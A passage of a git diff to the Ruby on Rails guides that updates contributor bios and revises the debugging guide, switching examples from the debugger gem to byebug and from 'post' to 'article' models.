-64,7 +64,7 @@ Oscar Del Ben is a software engineer at <a href="http://www.wildfireapp.com/">Wi <% end %> <%= author('Pratik Naik', 'lifo') do %> - Pratik Naik is a Ruby on Rails developer at <a href="http://www.37signals.com">37signals</a> and also a member of the <a href="http://rubyonrails.org/core">Rails core team</a>. He maintains a blog at <a href="http://m.onkey.org">has_many :bugs, :through => :rails</a> and has a semi-active <a href="http://twitter.com/lifo">twitter account</a>. + Pratik Naik is a Ruby on Rails developer at <a href="https://basecamp.com/">Basecamp</a> and also a member of the <a href="http://rubyonrails.org/core">Rails core team</a>. He maintains a blog at <a href="http://m.onkey.org">has_many :bugs, :through => :rails</a> and has a semi-active <a href="http://twitter.com/lifo">twitter account</a>. <% end %> <%= author('Emilio Tagua', 'miloops') do %> @@ -74,3 +74,7 @@ Oscar Del Ben is a software engineer at <a href="http://www.wildfireapp.com/">Wi <%= author('Heiko Webers', 'hawe') do %> Heiko Webers is the founder of <a href="http://www.bauland42.de">bauland42</a>, a German web application security consulting and development company focused on Ruby on Rails. He blogs at the <a href="http://www.rorsecurity.info">Ruby on Rails Security Project</a>. After 10 years of desktop application development, Heiko has rarely looked back. <% end %> + +<%= author('Akshay Surve', 'startupjockey', 'akshaysurve.jpg') do %> + Akshay Surve is the Founder at <a href="http://www.deltax.com">DeltaX</a>, hackathon specialist, a midnight code junkie and occasionally writes prose. You can connect with him on <a href="https://twitter.com/akshaysurve">Twitter</a>, <a href="http://www.linkedin.com/in/akshaysurve">Linkedin</a>, <a href="http://www.akshaysurve.com/">Personal Blog</a> or <a href="http://www.quora.com/Akshay-Surve">Quora</a>. +<% end %> diff --git a/guides/source/debugging_rails_applications.md b/guides/source/debugging_rails_applications.md index 2e90e8728c..cef9ac083b 100644 --- a/guides/source/debugging_rails_applications.md +++ b/guides/source/debugging_rails_applications.md @@ -1,3 +1,5 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + Debugging Rails Applications ============================ @@ -23,20 +25,20 @@ One common task is to inspect the contents of a variable. In Rails, you can do t ### `debug` -The `debug` helper will return a \<pre>-tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view: +The `debug` helper will return a \<pre> tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view: ```html+erb -<%= debug @post %> +<%= debug @article %> <p> <b>Title:</b> - <%=h @post.title %> + <%= @article.title %> </p> ``` You'll see something like this: ```yaml ---- !ruby/object:Post +--- !ruby/object Article attributes: updated_at: 2008-09-05 22:55:47 body: It's a very helpful guide for debugging your Rails app. @@ -55,10 +57,10 @@ Title: Rails debugging guide Displaying an instance variable, or any other object or method, in YAML format can be achieved this way: ```html+erb -<%= simple_format @post.to_yaml %> +<%= simple_format @article.to_yaml %> <p> <b>Title:</b> - <%=h @post.title %> + <%= @article.title %> </p> ``` @@ -67,7 +69,7 @@ The `to_yaml` method converts the method to YAML format leaving it more readable As a result of this, you will have something like this in your view: ```yaml ---- !ruby/object:Post +--- !ruby/object Article attributes: updated_at: 2008-09-05 22:55:47 body: It's a very helpful guide for debugging your Rails app. @@ -88,7 +90,7 @@ Another useful method for displaying object values is `inspect`, especially when <%= [1, 2, 3, 4, 5].inspect %> <p> <b>Title:</b> - <%=h @post.title %> + <%= @article.title %> </p> ``` @@ -123,7 +125,7 @@ config.logger = Logger.new(STDOUT) config.logger = Log4r::Logger.new("Application Log") ``` -TIP: By default, each log is created under `Rails.root/log/` and the log file name is `environment_name.log`. +TIP: By default, each log is created under `Rails.root/log/` and the log file is named after the environment in which the application is running. ### Log Levels @@ -138,7 +140,7 @@ Rails.logger.level = 0 # at any time This is useful when you want to log under development or staging, but you don't want to flood your production log with unnecessary information. -TIP: The default Rails log level is `info` in production mode and `debug` in development and test mode. +TIP: The default Rails log level is `debug` in all environments. ### Sending Messages @@ -153,18 +155,18 @@ logger.fatal "Terminating application, raised unrecoverable error!!!" Here's an example of a method instrumented with extra logging: ```ruby -class PostsController < ApplicationController +class ArticlesController < ApplicationController # ... def create - @post = Post.new(params[:post]) - logger.debug "New post: #{@post.attributes.inspect}" - logger.debug "Post should be valid: #{@post.valid?}" - - if @post.save - flash[:notice] = 'Post was successfully created.' - logger.debug "The post was saved and now the user is going to be redirected..." - redirect_to(@post) + @article = Article.new(params[:article]) + logger.debug "New article: #{@article.attributes.inspect}" + logger.debug "Article should be valid: #{@article.valid?}" + + if @article.save + flash[:notice] = 'Article was successfully created.' + logger.debug "The article was saved and now the user is going to be redirected..." + redirect_to(@article) else render action: "new" end @@ -174,31 +176,33 @@ class PostsController < ApplicationController end ``` -Here's an example of the log generated by this method: +Here's an example of the log generated when this controller action is executed: ``` -Processing PostsController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST] +Processing ArticlesController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST] Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4 - Parameters: {"commit"=>"Create", "post"=>{"title"=>"Debugging Rails", + Parameters: {"commit"=>"Create", "article"=>{"title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!", "published"=>"0"}, - "authenticity_token"=>"2059c1286e93402e389127b1153204e0d1e275dd", "action"=>"create", "controller"=>"posts"} -New post: {"updated_at"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!", + "authenticity_token"=>"2059c1286e93402e389127b1153204e0d1e275dd", "action"=>"create", "controller"=>"articles"} +New article: {"updated_at"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!", "published"=>false, "created_at"=>nil} -Post should be valid: true - Post Create (0.000443) INSERT INTO "posts" ("updated_at", "title", "body", "published", +Article should be valid: true + Article Create (0.000443) INSERT INTO "articles" ("updated_at", "title", "body", "published", "created_at") VALUES('2008-09-08 14:52:54', 'Debugging Rails', 'I''m learning how to print in logs!!!', 'f', '2008-09-08 14:52:54') -The post was saved and now the user is going to be redirected... -Redirected to #<Post:0x20af760> -Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/posts] +The article was saved and now the user is going to be redirected... +Redirected to # Article:0x20af760> +Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/articles] ``` -Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels, to avoid filling your production logs with useless trivia. +Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels to avoid filling your production logs with useless trivia. ### Tagged Logging -When running multi-user, multi-account applications, it’s often useful to be able to filter the logs using some custom rules. `TaggedLogging` in Active Support helps in doing exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications. +When running multi-user, multi-account applications, it's often useful +to be able to filter the logs using some custom rules. `TaggedLogging` +in Active Support helps in doing exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications. ```ruby logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT)) @@ -207,430 +211,591 @@ logger.tagged("BCX", "Jason") { logger.info "Stuff" } # Logs " logger.tagged("BCX") { logger.tagged("Jason") { logger.info "Stuff" } } # Logs "[BCX] [Jason] Stuff" ``` -Debugging with the `debugger` gem +### Impact of Logs on Performance +Logging will always have a small impact on performance of your rails app, + particularly when logging to disk. However, there are a few subtleties: + +Using the `:debug` level will have a greater performance penalty than `:fatal`, + as a far greater number of strings are being evaluated and written to the + log output (e.g. disk). + +Another potential pitfall is that if you have many calls to `Logger` like this + in your code: + +```ruby +logger.debug "Person attributes hash: #{@person.attributes.inspect}" +``` + +In the above example, There will be a performance impact even if the allowed +output level doesn't include debug. The reason is that Ruby has to evaluate +these strings, which includes instantiating the somewhat heavy `String` object +and interpolating the variables, and which takes time. +Therefore, it's recommended to pass blocks to the logger methods, as these are +only evaluated if the output level is the same or included in the allowed level +(i.e. lazy loading). The same code rewritten would be: + +```ruby +logger.debug {"Person attributes hash: #{@person.attributes.inspect}"} +``` + +The contents of the block, and therefore the string interpolation, is only +evaluated if debug is enabled. This performance savings is only really +noticeable with large amounts of logging, but it's a good practice to employ. + +Debugging with the `byebug` gem --------------------------------- -When your code is behaving in unexpected ways, you can try printing to logs or the console to diagnose the problem. Unfortunately, there are times when this sort of error tracking is not effective in finding the root cause of a problem. When you actually need to journey into your running source code, the debugger is your best companion. +When your code is behaving in unexpected ways, you can try printing to logs or +the console to diagnose the problem. Unfortunately, there are times when this +sort of error tracking is not effective in finding the root cause of a problem. +When you actually need to journey into your running source code, the debugger +is your best companion. -The debugger can also help you if you want to learn about the Rails source code but don't know where to start. Just debug any request to your application and use this guide to learn how to move from the code you have written deeper into Rails code. +The debugger can also help you if you want to learn about the Rails source code +but don't know where to start. Just debug any request to your application and +use this guide to learn how to move from the code you have written deeper into +Rails code. ### Setup -Rails uses the `debugger` gem to set breakpoints and step through live code. To install it, just run: +You can use the `byebug` gem to set breakpoints and step through live code in +Rails. To install it, just run: ```bash -$ gem install debugger +$ gem install byebug ``` -Rails has had built-in support for debugging since Rails 2.0. Inside any Rails application you can invoke the debugger by calling the `debugger` method. +Inside any Rails application you can then invoke the debugger by calling the +`byebug` method. Here's an example: ```ruby class PeopleController < ApplicationController def new - debugger + byebug @person = Person.new end end ``` -If you see the message in the console or logs: +### The Shell + +As soon as your application calls the `byebug` method, the debugger will be +started in a debugger shell inside the terminal window where you launched your +application server, and you will be placed at the debugger's prompt `(byebug)`. +Before the prompt, the code around the line that is about to be run will be +displayed and the current line will be marked by '=>'. Like this: ``` -***** Debugger requested, but was not available: Start server with --debugger to enable ***** +[1, 10] in /PathTo/project/app/controllers/articles_controller.rb + 3: + 4: # GET /articles + 5: # GET /articles.json + 6: def index + 7: byebug +=> 8: @articles = Article.find_recent + 9: + 10: respond_to do |format| + 11: format.html # index.html.erb + 12: format.json { render json: @articles } + +(byebug) ``` -Make sure you have started your web server with the option `--debugger`: +If you got there by a browser request, the browser tab containing the request +will be hung until the debugger has finished and the trace has finished +processing the entire request. + +For example: ```bash -$ rails server --debugger => Booting WEBrick -=> Rails 3.0.0 application starting on http://0.0.0.0:3000 -=> Debugger enabled -... -``` +=> Rails 5.0.0 application starting in development on http://0.0.0.0:3000 +=> Run `rails server -h` for more startup options +=> Notice: server is listening on all interfaces (0.0.0.0). Consider using 127.0.0.1 (--binding option) +=> Ctrl-C to shutdown server +[2014-04-11 13:11:47] INFO WEBrick 1.3.1 +[2014-04-11 13:11:47] INFO ruby 2.1.1 (2014-02-24) [i686-linux] +[2014-04-11 13:11:47] INFO WEBrick::HTTPServer#start: pid=6370 port=3000 -TIP: In development mode, you can dynamically `require \'debugger\'` instead of restarting the server, if it was started without `--debugger`. -### The Shell +Started GET "/" for 127.0.0.1 at 2014-04-11 13:11:48 +0200 + ActiveRecord::SchemaMigration Load (0.2ms) SELECT "schema_migrations".* FROM "schema_migrations" +Processing by ArticlesController#index as HTML -As soon as your application calls the `debugger` method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at the debugger's prompt `(rdb:n)`. The _n_ is the thread number. The prompt will also show you the next line of code that is waiting to run. +[3, 12] in /PathTo/project/app/controllers/articles_controller.rb + 3: + 4: # GET /articles + 5: # GET /articles.json + 6: def index + 7: byebug +=> 8: @articles = Article.find_recent + 9: + 10: respond_to do |format| + 11: format.html # index.html.erb + 12: format.json { render json: @articles } -If you got there by a browser request, the browser tab containing the request will be hung until the debugger has finished and the trace has finished processing the entire request. +(byebug) +``` -For example: +Now it's time to explore and dig into your application. A good place to start is +by asking the debugger for help. Type: `help` -```bash -@posts = Post.all -(rdb:7) ``` +(byebug) help -Now it's time to explore and dig into your application. A good place to start is by asking the debugger for help... so type: `help` (You didn't see that coming, right?) +byebug 2.7.0 -``` -(rdb:7) help -ruby-debug help v0.10.2 Type 'help <command-name>' for help on a specific command Available commands: -backtrace delete enable help next quit show trace -break disable eval info p reload source undisplay -catch display exit irb pp restart step up -condition down finish list ps save thread var -continue edit frame method putl set tmate where +backtrace delete enable help list pry next restart source up +break disable eval info method ps save step var +catch display exit interrupt next putl set thread +condition down finish irb p quit show trace +continue edit frame kill pp reload skip undisplay ``` -TIP: To view the help menu for any command use `help <command-name>` in active debug mode. For example: _`help var`_ - -The next command to learn is one of the most useful: `list`. You can abbreviate any debugging command by supplying just enough letters to distinguish them from other commands, so you can also use `l` for the `list` command. +TIP: To view the help menu for any command use `help <command-name>` at the +debugger prompt. For example: _`help list`_. You can abbreviate any debugging +command by supplying just enough letters to distinguish them from other +commands, so you can also use `l` for the `list` command, for example. -This command shows you where you are in the code by printing 10 lines centered around the current line; the current line in this particular case is line 6 and is marked by `=>`. +To see the previous ten lines you should type `list-` (or `l-`) ``` -(rdb:7) list -[1, 10] in /PathToProject/posts_controller.rb - 1 class PostsController < ApplicationController - 2 # GET /posts - 3 # GET /posts.json - 4 def index - 5 debugger -=> 6 @posts = Post.all - 7 - 8 respond_to do |format| - 9 format.html # index.html.erb - 10 format.json { render :json => @posts } -``` +(byebug) l- -If you repeat the `list` command, this time using just `l`, the next ten lines of the file will be printed out. +[1, 10] in /PathTo/project/app/controllers/articles_controller.rb + 1 class ArticlesController < ApplicationController + 2 before_action :set_article, only: [:show, :edit, :update, :destroy] + 3 + 4 # GET /articles + 5 # GET /articles.json + 6 def index + 7 byebug + 8 @articles = Article.find_recent + 9 + 10 respond_to do |format| ``` -(rdb:7) l -[11, 20] in /PathTo/project/app/controllers/posts_controller.rb - 11 end - 12 end - 13 - 14 # GET /posts/1 - 15 # GET /posts/1.json - 16 def show - 17 @post = Post.find(params[:id]) - 18 - 19 respond_to do |format| - 20 format.html # show.html.erb -``` -And so on until the end of the current file. When the end of file is reached, the `list` command will start again from the beginning of the file and continue again up to the end, treating the file as a circular buffer. +This way you can move inside the file, being able to see the code above and over +the line where you added the `byebug` call. Finally, to see where you are in +the code again you can type `list=` -On the other hand, to see the previous ten lines you should type `list-` (or `l-`) - -``` -(rdb:7) l- -[1, 10] in /PathToProject/posts_controller.rb - 1 class PostsController < ApplicationController - 2 # GET /posts - 3 # GET /posts.json - 4 def index - 5 debugger - 6 @posts = Post.all - 7 - 8 respond_to do |format| - 9 format.html # index.html.erb - 10 format.json { render :json => @posts } ``` +(byebug) list= -This way you can move inside the file, being able to see the code above and over the line you added the `debugger`. -Finally, to see where you are in the code again you can type `list=` +[3, 12] in /PathTo/project/app/controllers/articles_controller.rb + 3: + 4: # GET /articles + 5: # GET /articles.json + 6: def index + 7: byebug +=> 8: @articles = Article.find_recent + 9: + 10: respond_to do |format| + 11: format.html # index.html.erb + 12: format.json { render json: @articles } -``` -(rdb:7) list= -[1, 10] in /PathToProject/posts_controller.rb - 1 class PostsController < ApplicationController - 2 # GET /posts - 3 # GET /posts.json - 4 def index - 5 debugger -=> 6 @posts = Post.all - 7 - 8 respond_to do |format| - 9 format.html # index.html.erb - 10 format.json { render :json => @posts } +(byebug) ``` ### The Context -When you start debugging your application, you will be placed in different contexts as you go through the different parts of the stack. - -The debugger creates a context when a stopping point or an event is reached. The context has information about the suspended program which enables a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place where the debugged program is stopped. - -At any time you can call the `backtrace` command (or its alias `where`) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then `backtrace` will supply the answer. - -``` -(rdb:5) where - #0 PostsController.index - at line /PathTo/project/app/controllers/posts_controller.rb:6 - #1 Kernel.send - at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175 - #2 ActionController::Base.perform_action_without_filters - at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175 - #3 ActionController::Filters::InstanceMethods.call_filters(chain#ActionController::Fil...,...) - at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb:617 +When you start debugging your application, you will be placed in different +contexts as you go through the different parts of the stack. + +The debugger creates a context when a stopping point or an event is reached. The +context has information about the suspended program which enables the debugger +to inspect the frame stack, evaluate variables from the perspective of the +debugged program, and contains information about the place where the debugged +program is stopped. + +At any time you can call the `backtrace` command (or its alias `where`) to print +the backtrace of the application. This can be very helpful to know how you got +where you are. If you ever wondered about how you got somewhere in your code, +then `backtrace` will supply the answer. + +``` +(byebug) where +--> #0 ArticlesController.index + at /PathTo/project/test_app/app/controllers/articles_controller.rb:8 + #1 ActionController::ImplicitRender.send_action(method#String, *args#Array) + at /PathToGems/actionpack-5.0.0/lib/action_controller/metal/implicit_render.rb:4 + #2 AbstractController::Base.process_action(action#NilClass, *args#Array) + at /PathToGems/actionpack-5.0.0/lib/abstract_controller/base.rb:189 + #3 ActionController::Rendering.process_action(action#NilClass, *args#NilClass) + at /PathToGems/actionpack-5.0.0/lib/action_controller/metal/rendering.rb:10 ... ``` -You move anywhere you want in this trace (thus changing the context) by using the `frame _n_` command, where _n_ is the specified frame number. +The current frame is marked with `-->`. You can move anywhere you want in this +trace (thus changing the context) by using the `frame _n_` command, where _n_ is +the specified frame number. If you do that, `byebug` will display your new +context. ``` -(rdb:5) frame 2 -#2 ActionController::Base.perform_action_without_filters - at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175 +(byebug) frame 2 + +[184, 193] in /PathToGems/actionpack-5.0.0/lib/abstract_controller/base.rb + 184: # is the intended way to override action dispatching. + 185: # + 186: # Notice that the first argument is the method to be dispatched + 187: # which is *not* necessarily the same as the action name. + 188: def process_action(method_name, *args) +=> 189: send_action(method_name, *args) + 190: end + 191: + 192: # Actually call the method associated with the action. Override + 193: # this method if you wish to change how action methods are called, + +(byebug) ``` -The available variables are the same as if you were running the code line by line. After all, that's what debugging is. +The available variables are the same as if you were running the code line by +line. After all, that's what debugging is. -Moving up and down the stack frame: You can use `up [n]` (`u` for abbreviated) and `down [n]` commands in order to change the context _n_ frames up or down the stack respectively. _n_ defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames. +You can also use `up [n]` (`u` for abbreviated) and `down [n]` commands in order +to change the context _n_ frames up or down the stack respectively. _n_ defaults +to one. Up in this case is towards higher-numbered stack frames, and down is +towards lower-numbered stack frames. ### Threads -The debugger can list, stop, resume and switch between running threads by using the command `thread` (or the abbreviated `th`). This command has a handful of options: +The debugger can list, stop, resume and switch between running threads by using +the `thread` command (or the abbreviated `th`). This command has a handful of +options: * `thread` shows the current thread. -* `thread list` is used to list all threads and their statuses. The plus + character and the number indicates the current thread of execution. +* `thread list` is used to list all threads and their statuses. The plus + +character and the number indicates the current thread of execution. * `thread stop _n_` stop thread _n_. * `thread resume _n_` resumes thread _n_. * `thread switch _n_` switches the current thread context to _n_. -This command is very helpful, among other occasions, when you are debugging concurrent threads and need to verify that there are no race conditions in your code. +This command is very helpful, among other occasions, when you are debugging +concurrent threads and need to verify that there are no race conditions in your +code. ### Inspecting Variables -Any expression can be evaluated in the current context. To evaluate an expression, just type it! - -This example shows how you can print the instance_variables defined within the current context: - -``` -@posts = Post.all -(rdb:11) instance_variables -["@_response", "@action_name", "@url", "@_session", "@_cookies", "@performed_render", "@_flash", "@template", "@_params", "@before_filter_chain_aborted", "@request_origin", "@_headers", "@performed_redirect", "@_request"] -``` - -As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using `next` (you'll learn more about this command later in this guide). - -``` -(rdb:11) next -Processing PostsController#index (for 127.0.0.1 at 2008-09-04 19:51:34) [GET] - Session ID: BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA==--b16e91b992453a8cc201694d660147bba8b0fd0e - Parameters: {"action"=>"index", "controller"=>"posts"} -/PathToProject/posts_controller.rb:8 -respond_to do |format| +Any expression can be evaluated in the current context. To evaluate an +expression, just type it! + +This example shows how you can print the instance variables defined within the +current context: + +``` +[3, 12] in /PathTo/project/app/controllers/articles_controller.rb + 3: + 4: # GET /articles + 5: # GET /articles.json + 6: def index + 7: byebug +=> 8: @articles = Article.find_recent + 9: + 10: respond_to do |format| + 11: format.html # index.html.erb + 12: format.json { render json: @articles } + +(byebug) instance_variables +[:@_action_has_layout, :@_routes, :@_headers, :@_status, :@_request, + :@_response, :@_env, :@_prefixes, :@_lookup_context, :@_action_name, + :@_response_body, :@marked_for_same_origin_verification, :@_config] +``` + +As you may have figured out, all of the variables that you can access from a +controller are displayed. This list is dynamically updated as you execute code. +For example, run the next line using `next` (you'll learn more about this +command later in this guide). + +``` +(byebug) next +[5, 14] in /PathTo/project/app/controllers/articles_controller.rb + 5 # GET /articles.json + 6 def index + 7 byebug + 8 @articles = Article.find_recent + 9 +=> 10 respond_to do |format| + 11 format.html # index.html.erb + 12 format.json { render json: @articles } + 13 end + 14 end + 15 +(byebug) ``` And then ask again for the instance_variables: ``` -(rdb:11) instance_variables.include? "@posts" +(byebug) instance_variables.include? "@articles" true ``` -Now `@posts` is included in the instance variables, because the line defining it was executed. +Now `@articles` is included in the instance variables, because the line defining it +was executed. -TIP: You can also step into **irb** mode with the command `irb` (of course!). This way an irb session will be started within the context you invoked it. But be warned: this is an experimental feature. +TIP: You can also step into **irb** mode with the command `irb` (of course!). +This way an irb session will be started within the context you invoked it. But +be warned: this is an experimental feature. -The `var` method is the most convenient way to show variables and their values: +The `var` method is the most convenient way to show variables and their values. +Let's let `byebug` to help us with it. ``` -var -(rdb:1) v[ar] const <object> show constants of object -(rdb:1) v[ar] g[lobal] show global variables -(rdb:1) v[ar] i[nstance] <object> show instance variables of object -(rdb:1) v[ar] l[ocal] show local variables +(byebug) help var +v[ar] cl[ass] show class variables of self +v[ar] const <object> show constants of object +v[ar] g[lobal] show global variables +v[ar] i[nstance] <object> show instance variables of object +v[ar] l[ocal] show local variables ``` -This is a great way to inspect the values of the current context variables. For example: +This is a great way to inspect the values of the current context variables. For +example, to check that we have no local variables currently defined. ``` -(rdb:9) var local - __dbg_verbose_save => false +(byebug) var local +(byebug) ``` You can also inspect for an object method this way: ``` -(rdb:9) var instance Post.new -@attributes = {"updated_at"=>nil, "body"=>nil, "title"=>nil, "published"=>nil, "created_at"... +(byebug) var instance Article.new +@_start_transaction_state = {} +@aggregation_cache = {} +@association_cache = {} +@attributes = {"id"=>nil, "created_at"=>nil, "updated_at"=>nil} @attributes_cache = {} -@new_record = true +@changed_attributes = nil +... ``` -TIP: The commands `p` (print) and `pp` (pretty print) can be used to evaluate Ruby expressions and display the value of variables to the console. +TIP: The commands `p` (print) and `pp` (pretty print) can be used to evaluate +Ruby expressions and display the value of variables to the console. -You can use also `display` to start watching variables. This is a good way of tracking the values of a variable while the execution goes on. +You can use also `display` to start watching variables. This is a good way of +tracking the values of a variable while the execution goes on. ``` -(rdb:1) display @recent_comments -1: @recent_comments = +(byebug) display @articles +1: @articles = nil ``` -The variables inside the displaying list will be printed with their values after you move in the stack. To stop displaying a variable use `undisplay _n_` where _n_ is the variable number (1 in the last example). +The variables inside the displaying list will be printed with their values after +you move in the stack. To stop displaying a variable use `undisplay _n_` where +_n_ is the variable number (1 in the last example). ### Step by Step -Now you should know where you are in the running trace and be able to print the available variables. But lets continue and move on with the application execution. +Now you should know where you are in the running trace and be able to print the +available variables. But lets continue and move on with the application +execution. -Use `step` (abbreviated `s`) to continue running your program until the next logical stopping point and return control to the debugger. +Use `step` (abbreviated `s`) to continue running your program until the next +logical stopping point and return control to the debugger. -TIP: You can also use `step+ n` and `step- n` to move forward or backward `n` steps respectively. +You may also use `next` which is similar to step, but function or method calls +that appear within the line of code are executed without stopping. -You may also use `next` which is similar to step, but function or method calls that appear within the line of code are executed without stopping. As with step, you may use plus sign to move _n_ steps. +TIP: You can also use `step n` or `next n` to move forwards `n` steps at once. -The difference between `next` and `step` is that `step` stops at the next line of code executed, doing just a single step, while `next` moves to the next line without descending inside methods. +The difference between `next` and `step` is that `step` stops at the next line +of code executed, doing just a single step, while `next` moves to the next line +without descending inside methods. -For example, consider this block of code with an included `debugger` statement: +For example, consider the following situation: ```ruby -class Author < ActiveRecord::Base - has_one :editorial - has_many :comments +Started GET "/" for 127.0.0.1 at 2014-04-11 13:39:23 +0200 +Processing by ArticlesController#index as HTML - def find_recent_comments(limit = 10) - debugger - @recent_comments ||= comments.where("created_at > ?", 1.week.ago).limit(limit) - end -end +[1, 8] in /home/davidr/Proyectos/test_app/app/models/article.rb + 1: class Article < ActiveRecord::Base + 2: + 3: def self.find_recent(limit = 10) + 4: byebug +=> 5: where('created_at > ?', 1.week.ago).limit(limit) + 6: end + 7: + 8: end + +(byebug) ``` -TIP: You can use the debugger while using `rails console`. Just remember to `require "debugger"` before calling the `debugger` method. +If we use `next`, we want go deep inside method calls. Instead, byebug will go +to the next line within the same context. In this case, this is the last line of +the method, so `byebug` will jump to next next line of the previous frame. ``` -$ rails console -Loading development environment (Rails 3.1.0) ->> require "debugger" -=> [] ->> author = Author.first -=> #<Author id: 1, first_name: "Bob", last_name: "Smith", created_at: "2008-07-31 12:46:10", updated_at: "2008-07-31 12:46:10"> ->> author.find_recent_comments -/PathTo/project/app/models/author.rb:11 -) -``` +(byebug) next +Next went up a frame because previous frame finished -With the code stopped, take a look around: +[4, 13] in /PathTo/project/test_app/app/controllers/articles_controller.rb + 4: # GET /articles + 5: # GET /articles.json + 6: def index + 7: @articles = Article.find_recent + 8: +=> 9: respond_to do |format| + 10: format.html # index.html.erb + 11: format.json { render json: @articles } + 12: end + 13: end -``` -(rdb:1) list -[2, 9] in /PathTo/project/app/models/author.rb - 2 has_one :editorial - 3 has_many :comments - 4 - 5 def find_recent_comments(limit = 10) - 6 debugger -=> 7 @recent_comments ||= comments.where("created_at > ?", 1.week.ago).limit(limit) - 8 end - 9 end +(byebug) ``` -You are at the end of the line, but... was this line executed? You can inspect the instance variables. +If we use `step` in the same situation, we will literally go the next ruby +instruction to be executed. In this case, the activesupport's `week` method. ``` -(rdb:1) var instance -@attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las... -@attributes_cache = {} -``` +(byebug) step -`@recent_comments` hasn't been defined yet, so it's clear that this line hasn't been executed yet. Use the `next` command to move on in the code: +[50, 59] in /PathToGems/activesupport-5.0.0/lib/active_support/core_ext/numeric/time.rb + 50: ActiveSupport::Duration.new(self * 24.hours, [[:days, self]]) + 51: end + 52: alias :day :days + 53: + 54: def weeks +=> 55: ActiveSupport::Duration.new(self * 7.days, [[:days, self * 7]]) + 56: end + 57: alias :week :weeks + 58: + 59: def fortnights +(byebug) ``` -(rdb:1) next -/PathTo/project/app/models/author.rb:12 -@recent_comments -(rdb:1) var instance -@attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las... -@attributes_cache = {} -@comments = [] -@recent_comments = [] -``` - -Now you can see that the `@comments` relationship was loaded and @recent_comments defined because the line was executed. -If you want to go deeper into the stack trace you can move single `steps`, through your calling methods and into Rails code. This is one of the best ways to find bugs in your code, or perhaps in Ruby or Rails. +This is one of the best ways to find bugs in your code, or perhaps in Ruby on +Rails. ### Breakpoints -A breakpoint makes your application stop whenever a certain point in the program is reached. The debugger shell is invoked in that line. +A breakpoint makes your application stop whenever a certain point in the program +is reached. The debugger shell is invoked in that line. -You can add breakpoints dynamically with the command `break` (or just `b`). There are 3 possible ways of adding breakpoints manually: +You can add breakpoints dynamically with the command `break` (or just `b`). +There are 3 possible ways of adding breakpoints manually: * `break line`: set breakpoint in the _line_ in the current source file. -* `break file:line [if expression]`: set breakpoint in the _line_ number inside the _file_. If an _expression_ is given it must evaluated to _true_ to fire up the debugger. -* `break class(.|\#)method [if expression]`: set breakpoint in _method_ (. and \# for class and instance method respectively) defined in _class_. The _expression_ works the same way as with file:line. +* `break file:line [if expression]`: set breakpoint in the _line_ number inside +the _file_. If an _expression_ is given it must evaluated to _true_ to fire up +the debugger. +* `break class(.|\#)method [if expression]`: set breakpoint in _method_ (. and +\# for class and instance method respectively) defined in _class_. The +_expression_ works the same way as with file:line. + + +For example, in the previous situation ``` -(rdb:5) break 10 -Breakpoint 1 file /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb, line 10 +[4, 13] in /PathTo/project/app/controllers/articles_controller.rb + 4: # GET /articles + 5: # GET /articles.json + 6: def index + 7: @articles = Article.find_recent + 8: +=> 9: respond_to do |format| + 10: format.html # index.html.erb + 11: format.json { render json: @articles } + 12: end + 13: end + +(byebug) break 11 +Created breakpoint 1 at /PathTo/project/app/controllers/articles_controller.rb:11 + ``` -Use `info breakpoints _n_` or `info break _n_` to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints. +Use `info breakpoints _n_` or `info break _n_` to list breakpoints. If you +supply a number, it lists that breakpoint. Otherwise it lists all breakpoints. ``` -(rdb:5) info breakpoints +(byebug) info breakpoints Num Enb What - 1 y at filters.rb:10 +1 y at /PathTo/project/app/controllers/articles_controller.rb:11 ``` -To delete breakpoints: use the command `delete _n_` to remove the breakpoint number _n_. If no number is specified, it deletes all breakpoints that are currently active.. +To delete breakpoints: use the command `delete _n_` to remove the breakpoint +number _n_. If no number is specified, it deletes all breakpoints that are +currently active. ``` -(rdb:5) delete 1 -(rdb:5) info breakpoints +(byebug) delete 1 +(byebug) info breakpoints No breakpoints. ``` You can also enable or disable breakpoints: -* `enable breakpoints`: allow a list _breakpoints_ or all of them if no list is specified, to stop your program. This is the default state when you create a breakpoint. +* `enable 